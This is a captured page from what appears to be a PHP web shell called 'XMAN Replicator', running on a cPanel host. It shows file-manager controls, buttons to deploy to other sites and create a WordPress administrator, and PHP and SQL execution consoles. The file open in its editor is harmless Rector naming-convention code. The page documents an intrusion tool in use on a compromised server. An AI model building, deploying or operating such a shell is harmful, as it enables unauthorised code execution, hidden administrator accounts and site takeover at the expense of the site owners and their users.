🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
rules
/
Naming
/
NamingConvention
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
NamingConventionAnalyzer.php
1,306 B
-rw-r--r--
2024-11-08 13:59
✏️
🔄
🗑️
⬇️
🔒
Edit: NamingConventionAnalyzer.php
<?php declare (strict_types=1); namespace Rector\Naming\NamingConvention; use PhpParser\Node\Expr\FuncCall; use PhpParser\Node\Expr\MethodCall; use PhpParser\Node\Expr\StaticCall; use Rector\NodeNameResolver\NodeNameResolver; use Rector\Util\StringUtils; final class NamingConventionAnalyzer { /** * @readonly * @var \Rector\NodeNameResolver\NodeNameResolver */ private $nodeNameResolver; public function __construct(NodeNameResolver $nodeNameResolver) { $this->nodeNameResolver = $nodeNameResolver; } /** * Matches cases: * * $someNameSuffix = $this->getSomeName(); * $prefixSomeName = $this->getSomeName(); * $someName = $this->getSomeName(); * @param \PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $expr */ public function isCallMatchingVariableName($expr, string $currentName, string $expectedName) : bool { // skip "$call = $method->call();" based conventions $callName = $this->nodeNameResolver->getName($expr->name); if ($currentName === $callName) { return \true; } // starts with or ends with return StringUtils::isMatch($currentName, '#^(' . $expectedName . '|' . $expectedName . '$)#i'); } }
Save
PHP Console
Execute
SQL Console
Execute